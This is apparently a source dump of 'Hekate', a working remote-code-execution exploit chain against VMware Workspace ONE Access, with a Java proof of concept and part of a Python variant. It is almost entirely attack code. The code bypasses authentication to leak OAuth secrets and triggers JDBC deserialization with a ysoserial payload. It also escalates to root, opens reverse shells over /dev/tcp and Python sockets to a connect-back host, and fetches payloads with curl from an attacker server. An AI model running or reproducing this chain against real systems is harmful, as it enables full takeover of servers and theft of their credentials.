49 | This is the updated exploit for Black Hat that removes any attacker callback other than the reverse shell 50 | 51 | ## Example 52 | 53 | ``` 54 | researcher@mars:~/eclipse-workspace/exploit$ java -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc 55 | __ __ __ __ 56 | / // /__ / /_____ _/ /____ 57 | / _ / -_) '_/ _ `/ __/ -_) 58 | /_//_/\__/_/\_\\_,_/\__/\__/ 59 | 60 | A VMWare Workspace ONE Access RCE Exploit 61 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 62 | 63 | Missing required options: t, c 64 | usage: Poc 65 | -c,--connectback The connectback ip or hostname and port 66 | -t,--target The target ip 67 | 68 | researcher@mars:~/eclipse-workspace/exploit$ java -cp "libs/*":"target/hekate-0.0.1-SNAPSHOT.jar" com.srcincite.exploit.Poc -t 192.168.2.97 -c 192.168.2.234 69 | __ __ __ __ 70 | / // /__ / /_____ _/ /____ 71 | / _ / -_) '_/ _ `/ __/ -_) 72 | /_//_/\__/_/\_\\_,_/\__/\__/ 73 | 74 | A VMWare Workspace ONE Access RCE Exploit 75 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 76 | 77 | (+) targeting 192.168.2.97 78 | (+) listening at port 1337 79 | (+) leaked ota token: f5c8ae0b-7b86-3233-a8dd-ff6b08779feb:j2UL6TSQc45RHnb9Y7HqNNH3lVMT9ZU8 80 | (+) leaked client secret: gKX0GX8fUWvlR6Vdsm3DOT7yE82CXTOq 81 | (+) bypassed authentication! 82 | (+) triggering deserialization attack... 83 | (+) connection from 192.168.2.97 84 | (+) pop thy shell! 85 | bash: cannot set terminal process group (2099): Inappropriate ioctl for device 86 | bash: no job control in this shell 87 | id 88 | uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess) 89 | uname -a 90 | Linux module5.localdomain 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux 91 | ^C 92 | ``` 93 | */ 94 | 95 | public class Poc 96 | { 97 | static{ 98 | TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { 99 | public java.security.cert.X509Certificate[] getAcceptedIssuers() { return null; } 100 | public void checkClientTrusted(X509Certificate[] certs, String authType) { } 101 | public void checkServerTrusted(X509Certificate[] certs, String authType) { } 102 | } }; 103 | SSLContext sc = null; 104 | try { 105 | sc = SSLContext.getInstance("SSL"); 106 | } catch (NoSuchAlgorithmException e1) { 107 | e1.printStackTrace(); 108 | } 109 | try { 110 | sc.init(null, trustAllCerts, new java.security.SecureRandom()); 111 | } catch (KeyManagementException e) { 112 | e.printStackTrace(); 113 | } 114 | HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); 115 | HostnameVerifier allHostsValid = new HostnameVerifier() { 116 | public boolean verify(String hostname, SSLSession session) { return true; } 117 | }; 118 | HttpsURLConnection.setDefaultHostnameVerifier(allHostsValid); 119 | } 120 | 121 | public String target; 122 | public String connectback; 123 | 124 | public Poc(String[] args) { 125 | CommandLine cmd = setUpArgs(args); 126 | target = cmd.getOptionValue("target"); 127 | connectback = cmd.getOptionValue("connectback"); 128 | } 129 | 130 | public static CommandLine setUpArgs(String[] args) { 131 | Options options = new Options(); 132 | Option input = new Option("t", "target", true, "The target ip"); 133 | input.setRequired(true); 134 | options.addOption(input); 135 | Option output = new Option("c", "connectback", true, "The connectback ip or hostname and port"); 136 | output.setRequired(true); 137 | options.addOption(output); 138 | CommandLineParser parser = new DefaultParser(); 139 | HelpFormatter formatter = new HelpFormatter(); 140 | CommandLine cmd = null; 141 | try { 142 | cmd = parser.parse(options, args); 143 | } catch (ParseException e) { 144 | System.out.println(e.getMessage()); 145 | formatter.printHelp(Poc.class.getSimpleName(), options); 146 | System.exit(1); 147 | } 148 | return cmd; 149 | } 150 | 151 | public static String getResponse(HttpURLConnection http) throws Exception { 152 | StringBuilder response; 153 | try (BufferedReader in = new BufferedReader( 154 | new InputStreamReader(http.getInputStream()))) { 155 | response = new StringBuilder(); 156 | String line; 157 | while ((line = in.readLine()) != null) { 158 | response.append(line); 159 | } 160 | } 161 | return response.toString(); 162 | } 163 | 164 | private void triggerJdbc(String jwt, String uri, Object payload) throws Exception { 165 | LicenseChecker lc = new LicenseChecker(null); 166 | Field handleField = LicenseChecker.class.getDeclaredField("_handle"); 167 | handleField.setAccessible(true); 168 | LicenseHandle lh = (LicenseHandle)handleField.get(lc); 169 | Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart"); 170 | htEvalStartField.setAccessible(true); 171 | Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty"); 172 | isDirtyField.setAccessible(true); 173 | Hashtable ht = new Hashtable(); 174 | ht.put(1337, payload); 175 | htEvalStartField.set(lh, ht); 176 | isDirtyField.set(lh, true); 177 | handleField.set(lc, lh); 178 | uri += URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8"); 179 | String params = String.format("jdbcUrl=%s&dbUsername=&dbPassword=", uri); 180 | byte[] pData = params.getBytes(); 181 | URL url = new URL(String.format("https://%s/SAAS/API/1.0/REST/system/dbCheck", this.target)); 182 | URLConnection con = url.openConnection(); 183 | HttpURLConnection http = (HttpURLConnection)con; 184 | http.setRequestMethod("POST"); 185 | http.setDoOutput(true); 186 | con.setRequestProperty("Cookie", String.format("HZN=%s", jwt)); 187 | con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 188 | con.setRequestProperty("Content-Length", Integer.toString(pData.length)); 189 | con.getOutputStream().write(pData); 190 | try{ 191 | http.getInputStream(); 192 | } catch (Exception e) {} 193 | } 194 | 195 | private String getActivationToken() throws Exception { 196 | URL url = new URL(String.format("https://%s/SAAS/API/1.0/REST/oauth2/generateActivationToken/acs", this.target)); 197 | URLConnection con = url.openConnection(); 198 | HttpURLConnection http = (HttpURLConnection)con; 199 | http.setRequestMethod("POST"); 200 | http.setDoOutput(true); 201 | String res = getResponse(http); 202 | assert res != null : "\r\n(-) getActivationToken returned null, authentication bypass failed!"; 203 | JSONObject atObject = new JSONObject(res); 204 | return atObject.getString("activationToken"); 205 | } 206 | 207 | private String[] getClientDetails(byte[] at) throws Exception { 208 | URL url = new URL(String.format("https://%s/SAAS/API/1.0/REST/oauth2/activate", this.target)); 209 | URLConnection con = url.openConnection(); 210 | HttpURLConnection http = (HttpURLConnection)con; 211 | http.setRequestMethod("POST"); 212 | http.setDoOutput(true); 213 | con.getOutputStream().write(at); 214 | String res = getResponse(http); 215 | assert res != null : "\r\n(-) getClientDetails returned null, authentication bypass failed!"; 216 | JSONObject clientObject = new JSONObject(res); 217 | String ci = clientObject.getString("client_id"); 218 | String cs = clientObject.getString("client_secret"); 219 | System.out.println(String.format("(+) leaked client secret: %s", cs)); 220 | return new String[] {ci, cs}; 221 | } 222 | 223 | private String getAccessToken(String[] cd) throws Exception { 224 | String params = String.format("grant_type=client_credentials&client_id=%s&client_secret=%s", cd[0], cd[1]); 225 | byte[] pData = params.getBytes(); 226 | URL url = new URL(String.format("https://%s/SAAS/auth/oauthtoken", this.target)); 227 | URLConnection con = url.openConnection(); 228 | HttpURLConnection http = (HttpURLConnection)con; 229 | http.setRequestMethod("POST"); 230 | http.setDoOutput(true); 231 | con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 232 | con.setRequestProperty("Content-Length", Integer.toString(pData.length)); 233 | con.getOutputStream().write(pData); 234 | String res = getResponse(http); 235 | assert res != null : "\r\n(-) getAccessToken returned null, authentication bypass failed!"; 236 | return new JSONObject(res).getString("access_token"); 237 | } 238 | 239 | private static void transferStreams(Socket socket) throws IOException, InterruptedException { 240 | InputStream input1 = System.in; 241 | final OutputStream output1 = socket.getOutputStream(); 242 | InputStream input2 = socket.getInputStream(); 243 | PrintStream output2 = System.out; 244 | Thread inputThread = streamTransfer(input1, output1); 245 | Thread outputThread = streamTransfer(input2, output2); 246 | inputThread.start(); 247 | outputThread.start(); 248 | inputThread.join(); 249 | socket.shutdownOutput(); 250 | outputThread.join(); 251 | } 252 | 253 | private static Thread streamTransfer(final InputStream in, final OutputStream out) { 254 | return new Thread() 255 | { 256 | @Override 257 | public void run() { 258 | try { 259 | PrintWriter writer = new PrintWriter(out); 260 | BufferedReader reader = new BufferedReader(new InputStreamReader(in)); 261 | String line; 262 | while ((line = reader.readLine()) != null) { 263 | if (line.lastIndexOf(27) == -1) { 264 | writer.println(line); 265 | } 266 | writer.flush(); 267 | } 268 | } catch (IOException e) { 269 | e.printStackTrace(); 270 | } 271 | } 272 | }; 273 | } 274 | 275 | private String randomString(int length) { 276 | String alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 277 | StringBuilder sb = new StringBuilder(); 278 | Random random = new Random(); 279 | for(int i = 0; i < length; i++) { 280 | int index = random.nextInt(alphabet.length()); 281 | char randomChar = alphabet.charAt(index); 282 | sb.append(randomChar); 283 | } 284 | String randomString = sb.toString(); 285 | return randomString; 286 | } 287 | 288 | public static void main( String[] args ) throws Exception 289 | { 290 | String banner = " __ __ __ __\n" 291 | + " / // /__ / /_____ _/ /____\n" 292 | + " / _ / -_) '_/ _ `/ __/ -_)\n" 293 | + "/_//_/\\__/_/\\_\\\\_,_/\\__/\\__/\n" 294 | + "" 295 | + "\r\nA VMWare Workspace ONE Access RCE Exploit\n" 296 | + "By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute\r\n"; 297 | System.out.println(banner); 298 | Poc p = new Poc(args); 299 | System.out.println(String.format("(+) targeting %s", p.target)); 300 | 301 | // our connect back listener 302 | final int port = 1337; 303 | new Thread() 304 | { 305 | @Override 306 | public void run() { 307 | System.err.println("(+) listening at port " + port); 308 | ServerSocket serverSocket; 309 | Socket socket = null; 310 | try { 311 | serverSocket = new ServerSocket(port); 312 | socket = serverSocket.accept(); 313 | System.err.println("(+) connection from " + socket.getInetAddress().getHostName()); 314 | System.out.println("(+) pop thy shell!"); 315 | transferStreams(socket); 316 | } catch (IOException e) { 317 | e.printStackTrace(); 318 | }catch (InterruptedException e) { 319 | e.printStackTrace(); 320 | } 321 | } 322 | }.start(); 323 | 324 | // CVE-2022-22955 325 | String at = p.getActivationToken(); 326 | JSONObject otaObject = new JSONObject(new String(MyBase64.decode(at))); 327 | System.out.println(String.format("(+) leaked ota token: %s", otaObject.getString("ota"))); 328 | String[] clientDetails = p.getClientDetails(at.getBytes()); 329 | String jwt = p.getAccessToken(clientDetails); 330 | assert jwt != null : "\r\n(-) jwt is null, authentication bypass failed!"; 331 | System.out.println("(+) bypassed authentication!"); 332 | 333 | // CVE-2022-22960 334 | String dir = p.randomString(8); 335 | String bdr = String.format("/tmp/%s", p.randomString(8)); 336 | String tScript = "/opt/vmware/certproxy/bin/certproxyService.sh"; 337 | String lpe = new StringBuilder() 338 | .append("cd /tmp\n") 339 | .append(String.format("sudo /usr/local/horizon/scripts/publishCaCert.hzn %s %s\n", tScript, dir)) 340 | .append(String.format("mkdir %s\n", dir)) 341 | .append(String.format("ln -s %s %s/debugConfig.txt\n", tScript, dir)) 342 | .append(String.format("sudo /usr/local/horizon/scripts/gatherConfig.hzn %s\n", dir)) 343 | .append(String.format("rm -rf %s\n", dir)) 344 | .append(String.format("chmod 755 %s\n", tScript)) 345 | .append(String.format("echo \"mv /etc/ssl/certs/%s %s\" > %s\n", dir, tScript, tScript)) 346 | .append(String.format("echo \"chown root:root %s\" >> %s\n", tScript, tScript)) 347 | .append(String.format("echo \"chmod 640 %s\" >> %s\n", tScript, tScript)) 348 | .append(String.format("echo \"rm %s;bash -i >& /dev/tcp/%s/1337 0>&1\" >> %s\n", bdr, p.connectback, tScript)) 349 | .append(String.format("sudo %s\n", tScript)) 350 | .toString(); 351 | 352 | // CVE-2022-22957 353 | String jdbcUri = String.format("jdbc:postgresql://%s/saas?", p.randomString(8)); 354 | jdbcUri += "socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg="; 355 | String shell = MyBase64.encode(lpe.getBytes()); 356 | Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c $@|sh . echo echo %s|base64 -d>%s;chmod 755 %s;%s", shell, bdr, bdr, bdr)); 357 | System.out.println("(+) triggering deserialization attack..."); 358 | p.triggerJdbc(jwt, jdbcUri, payload); 359 | } 360 | } 361 | -------------------------------------------------------------------------------- /mysql/poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Hekate - A VMWare Workspace ONE Access Remote Code Execution Exploit 4 | Steven Seeley of Qihoo 360 Vulnerability Research Institute 5 | Tekniq: MySQL JDBC Driver autoDeserialize 6 | 7 | # Details 8 | 9 | Date: Tue Feb 22 13:37:00 CST 2022 10 | Version: 21.08.0.1 (latest) 11 | File: identity-manager-21.08.0.1-19010796_OVF10.ova 12 | File SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851 13 | 14 | # Example 15 | 16 | Attacking server-side: 17 | 18 | ``` 19 | researcher@mercury:~$ ./poc.py -t 192.168.184.165 -c 192.168.184.146:1234 -v server 20 | 21 | __ __ __ __ 22 | / // /__ / /_____ _/ /____ 23 | / _ / -_) '_/ _ `/ __/ -_) 24 | /_//_/\__/_/\_\\_,_/\__/\__/ 25 | 26 | A VMWare Workspace ONE Access RCE Exploit 27 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 28 | 29 | (+) attacking target via the mysql driver 30 | (+) rogue mysql server listening on 0.0.0.0:3306 31 | (+) rogue http server listening on 0.0.0.0:8080 32 | (+) leaked ota token: b6defad9-bcc7-37ee-a7df-9a36d71d580a:1ZDvE9EbByg3UQWr9z9fAYY8lpNgYk6k 33 | (+) leaked client_secret: uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o 34 | (+) triggering command: curl http://192.168.184.146:8080/bdr.py -o /tmp/a 35 | (+) triggered bdr download... 36 | (+) triggering command: curl http://192.168.184.146:8080/lpe.sh -o /tmp/b 37 | (+) triggered lpe download... 38 | (+) triggering command: chmod 755 /tmp/a 39 | (+) triggering command: chmod 755 /tmp/b 40 | (+) triggering command: python /tmp/a 41 | (+) starting handler on port 1234 42 | (+) connection from 192.168.184.165 43 | (+) pop thy shell! 44 | root [ ~ ]# id 45 | id 46 | uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess) 47 | root [ ~ ]# uname -a 48 | uname -a 49 | Linux photon-machine 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux 50 | root [ ~ ]# 51 | ``` 52 | 53 | Attacking client-side: 54 | 55 | ``` 56 | researcher@mercury:~$ ./poc.py -t 192.168.184.165 -c 192.168.184.146:1234 -v client 57 | 58 | __ __ __ __ 59 | / // /__ / /_____ _/ /____ 60 | / _ / -_) '_/ _ `/ __/ -_) 61 | /_//_/\__/_/\_\\_,_/\__/\__/ 62 | 63 | A VMWare Workspace ONE Access RCE Exploit 64 | By Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute 65 | 66 | (+) attacking target via the mysql driver 67 | (+) rogue mysql server listening on 0.0.0.0:3306 68 | (+) rogue http server listening on 0.0.0.0:8080 69 | (+) send the victim to: http://192.168.184.146:8080/pwn 70 | (+) starting handler on port 1234 71 | (+) triggering command: curl http://192.168.184.146:8080/bdr.py -o /tmp/a 72 | (+) triggering command: curl http://192.168.184.146:8080/lpe.sh -o /tmp/b 73 | (+) triggered bdr download... 74 | (+) triggering command: chmod 755 /tmp/a 75 | (+) triggered lpe download... 76 | (+) triggering command: chmod 755 /tmp/b 77 | (+) triggering command: python /tmp/a 78 | (+) connection from 192.168.184.165 79 | (+) pop thy shell! 80 | root [ ~ ]# id 81 | id 82 | uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess) 83 | root [ ~ ]# uname -a 84 | uname -a 85 | Linux photon-machine 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux 86 | root [ ~ ]# 87 | ``` 88 | 89 | # References 90 | 91 | - https://landgrey.me/blog/11/ 92 | - https://github.com/su18/JDBC-Attack/tree/main/mysql-attack 93 | """ 94 | 95 | import socket 96 | from sys import argv 97 | from json import loads 98 | from struct import pack 99 | from hashlib import sha256 100 | from base64 import b64decode 101 | from telnetlib import Telnet 102 | from threading import Thread 103 | from requests import get, post 104 | from urllib.parse import urlparse 105 | from binascii import a2b_hex, b2a_hex 106 | from colorama import Fore, Style, Back 107 | from random import getrandbits, choice 108 | from urllib3 import disable_warnings, exceptions 109 | from argparse import ArgumentParser, RawTextHelpFormatter 110 | from http.server import BaseHTTPRequestHandler, HTTPServer 111 | disable_warnings(exceptions.InsecureRequestWarning) 112 | 113 | # vuln 3 114 | csrf_payload = """ 115 | 116 | 117 | 135 | 136 | 137 | """ 138 | 139 | bdr_payload = """ 140 | import socket,os,pty 141 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 142 | s.connect(("{h}", {p})) 143 | os.dup2(s.fileno(),0) 144 | os.dup2(s.fileno(),1) 145 | os.dup2(s.fileno(),2) 146 | pty.spawn(["/bin/bash","/tmp/b"]) # lpe 147 | """ 148 | 149 | # vuln 5 150 | lpe_payload = """ 151 | #!/bin/bash 152 | cd /tmp 153 | sudo /usr/local/horizon/scripts/publishCaCert.hzn /opt/vmware/certproxy/bin/certproxyService.sh {d} 154 | mkdir {d} 155 | ln -s /opt/vmware/certproxy/bin/certproxyService.sh {d}/debugConfig.txt 156 | sudo /usr/local/horizon/scripts/gatherConfig.hzn {d} 157 | rm -rf {d} 158 | chmod 755 /opt/vmware/certproxy/bin/certproxyService.sh 159 | echo "mv /etc/ssl/certs/{d} /opt/vmware/certproxy/bin/certproxyService.sh" > /opt/vmware/certproxy/bin/certproxyService.sh 160 | echo "chown root:root /opt/vmware/certproxy/bin/certproxyService.sh" >> /opt/vmware/certproxy/bin/certproxyService.sh 161 | echo "chmod 640 /opt/vmware/certproxy/bin/certproxyService.sh" >> /opt/vmware/certproxy/bin/certproxyService.sh 162 | echo "rm /tmp/a; rm /tmp/b; cd /root; python -c 'import pty; pty.spawn(\\\"/bin/bash\\\")'" >> /opt/vmware/certproxy/bin/certproxyService.sh 163 | sudo /opt/vmware/certproxy/bin/certproxyService.sh 164 | """ 165 | 166 | class http_server(BaseHTTPRequestHandler): 167 | def log_message(self, format, *args): 168 | return 169 | def _set_response(self, d): 170 | self.send_response(200) 171 | self.send_header('Content-type', 'text/html') 172 | self.send_header('Content-Length', len(d)) 173 | self.end_headers() 174 | def do_GET(self): 175 | if self.path.endswith("pwn"): 176 | # tested against chrome 98.0.4758.102 (latest at the time) 177 | message = csrf_payload.format(j=jdbc_uri, t=hostname) 178 | self._set_response(message) 179 | self.wfile.write(message.encode('utf-8')) 180 | self.wfile.write('\n'.encode('utf-8')) 181 | elif self.path.endswith("lpe.sh"): 182 | print(f"(+) {Fore.LIGHTRED_EX}triggered lpe download...{Style.RESET_ALL}") 183 | message = lpe_payload.format(d=gen_key()) 184 | self._set_response(message) 185 | self.wfile.write(message.encode('utf-8')) 186 | self.wfile.write('\n'.encode('utf-8')) 187 | elif self.path.endswith("bdr.py"): 188 | print(f"(+) {Fore.LIGHTRED_EX}triggered bdr download...{Style.RESET_ALL}") 189 | message = bdr_payload.format(h=rhost, p=rport) 190 | self._set_response(message) 191 | self.wfile.write(message.encode('utf-8')) 192 | self.wfile.write('\n'.encode('utf-8')) 193 | 194 | def _get_payload(c): 195 | # java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 196 | p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594" 197 | p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400" 198 | p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200" 199 | p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265" 200 | p += "616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d706172" 201 | p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e" 202 | p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e" 203 | p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172" 204 | p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75" 205 | p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e" 206 | p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e" 207 | p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d" 208 | p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00" 209 | p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a" 210 | p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f" 211 | p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072" 212 | p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767" 213 | p += "db37020000787000000002757200025b42acf317f8060854e002000078700000" 214 | p += "06abcafebabe0000003200390a00030022070037070025070026010010736572" 215 | p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75" 216 | p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465" 217 | p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162" 218 | p += "6c655461626c6501000474686973010013537475625472616e736c6574506179" 219 | p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c" 220 | p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73" 221 | p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f" 222 | p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873" 223 | p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c" 224 | p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469" 225 | p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73" 226 | p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c" 227 | p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f" 228 | p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65" 229 | p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074" 230 | p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78" 231 | p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e" 232 | p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d" 233 | p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865" 234 | p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69" 235 | p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63" 236 | p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64" 237 | p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041" 238 | p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c" 239 | p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572" 240 | p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a" 241 | p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f" 242 | p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f" 243 | p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f" 244 | p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100" 245 | p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f" 246 | p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f" 247 | p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061" 248 | p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100" 249 | p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469" 250 | p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a" 251 | p += "002b002e01001508003001000465786563010027284c6a6176612f6c616e672f" 252 | p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033" 253 | p += "0a002b003401000d537461636b4d61705461626c6501001e79736f7365726961" 254 | p += "6c2f50776e65723934373134303235323131383630300100204c79736f736572" 255 | p += "69616c2f50776e65723934373134303235323131383630303b00210002000300" 256 | p += "0100040001001a000500060001000700000002000800040001000a000b000100" 257 | p += "0c0000002f00010001000000052ab70001b100000002000d0000000600010000" 258 | p += "002f000e0000000c000100000005000f003800000001001300140002000c0000" 259 | p += "003f0000000300000001b100000002000d00000006000100000034000e000000" 260 | p += "20000300000001000f0038000000000001001500160001000000010017001800" 261 | p += "020019000000040001001a00010013001b0002000c0000004900000004000000" 262 | p += "01b100000002000d00000006000100000038000e0000002a000400000001000f" 263 | p += "003800000000000100150016000100000001001c001d000200000001001e001f" 264 | p += "00030019000000040001001a00080029000b0001000c00000024000300020000" 265 | p += "000fa70003014cb8002f1231b6003557b1000000010036000000030001030002" 266 | p += "002000000002002100110000000a000100020023001000097571007e00100000" 267 | p += "01d4cafebabe00000032001b0a00030015070017070018070019010010736572" 268 | p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75" 269 | p += "650571e669ee3c6d47180100063c696e69743e010003282956010004436f6465" 270 | p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162" 271 | p += "6c655461626c6501000474686973010003466f6f01000c496e6e6572436c6173" 272 | p += "7365730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f47" 273 | p += "61646765747324466f6f3b01000a536f7572636546696c6501000c4761646765" 274 | p += "74732e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c" 275 | p += "6f6164732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e" 276 | p += "672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501" 277 | p += "001f79736f73657269616c2f7061796c6f6164732f7574696c2f476164676574" 278 | p += "73002100020003000100040001001a0005000600010007000000020008000100" 279 | p += "01000a000b0001000c0000002f00010001000000052ab70001b100000002000d" 280 | p += "0000000600010000003c000e0000000c000100000005000f0012000000020013" 281 | p += "00000002001400110000000a000100020016001000097074000450776e727077" 282 | p += "01007871007e000d78" 283 | obj = bytearray(bytes.fromhex(p)) 284 | obj[0x240:0x242] = pack(">H", len(c) + 0x696) 285 | obj[0x6e5:0x6e7] = pack(">H", len(c)) 286 | start = obj[:0x6e7] 287 | end = obj[0x6e7:] 288 | return start + str.encode(c) + end 289 | 290 | def server_send(conn, payload): 291 | global count, cmd 292 | count += 1 293 | if count == 5: 294 | print(f"(+) {Fore.LIGHTRED_EX}triggering command:{Style.RESET_ALL} {Fore.LIGHTGREEN_EX}{cmd}{Style.RESET_ALL}") 295 | conn.send(a2b_hex(payload)) 296 | 297 | def server_receive(conn): 298 | global count, cmd, cmd_count, cmd_entries, key, deserialization_payload 299 | count += 1 300 | data = conn.recv(1024) 301 | if count == 2: 302 | found_key = data[38:38+64] 303 | # hardcoded key to verify the request is coming from the victim 304 | if found_key == key: 305 | cmd = cmd_entries[cmd_count] 306 | deserialization_payload = _get_payload(cmd_entries[cmd_count]) 307 | cmd_count += 1 308 | return str(data).lower() 309 | 310 | def run_mysql_server(host, port): 311 | global count, cmd_count, deserialization_payload 312 | count = 0 313 | cmd_count = 0 314 | # setup the socket 315 | server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 316 | server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 317 | server_socks.bind((host, port)) 318 | server_socks.listen(1) 319 | while True: 320 | count = 0 321 | conn, addr = server_socks.accept() 322 | _data = "4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc1" 323 | _data += "1500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61" 324 | _data += "746976655f70617373776f726400" 325 | server_send(conn, _data) 326 | while True: 327 | # client auth 328 | server_receive(conn) 329 | deserialization_payload = b2a_hex(deserialization_payload) 330 | server_send(conn, '0700000200000002000000') 331 | # client query 332 | data = server_receive(conn) 333 | if "session.auto_increment_increment" in data: 334 | _data = "01000001132e00000203646566000000186175746f5f696e6372656d656e745f" 335 | _data += "696e6372656d656e74000c3f001500000008a0000000002a0000030364656600" 336 | _data += "0000146368617261637465725f7365745f636c69656e74000c21000c000000fd" 337 | _data += "00001f00002e00000403646566000000186368617261637465725f7365745f63" 338 | _data += "6f6e6e656374696f6e000c21000c000000fd00001f00002b0000050364656600" 339 | _data += "0000156368617261637465725f7365745f726573756c7473000c21000c000000" 340 | _data += "fd00001f00002a00000603646566000000146368617261637465725f7365745f" 341 | _data += "736572766572000c210012000000fd00001f0000260000070364656600000010" 342 | _data += "636f6c6c6174696f6e5f736572766572000c210033000000fd00001f00002200" 343 | _data += "0008036465660000000c696e69745f636f6e6e656374000c210000000000fd00" 344 | _data += "001f0000290000090364656600000013696e7465726163746976655f74696d65" 345 | _data += "6f7574000c3f001500000008a0000000001d00000a03646566000000076c6963" 346 | _data += "656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f" 347 | _data += "7765725f636173655f7461626c655f6e616d6573000c3f001500000008a00000" 348 | _data += "00002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574" 349 | _data += "000c3f001500000008a0000000002700000d03646566000000116e65745f7772" 350 | _data += "6974655f74696d656f7574000c3f001500000008a0000000002600000e036465" 351 | _data += "660000001071756572795f63616368655f73697a65000c3f001500000008a000" 352 | _data += "0000002600000f036465660000001071756572795f63616368655f7479706500" 353 | _data += "0c210009000000fd00001f00001e000010036465660000000873716c5f6d6f64" 354 | _data += "65000c21009b010000fd00001f00002600001103646566000000107379737465" 355 | _data += 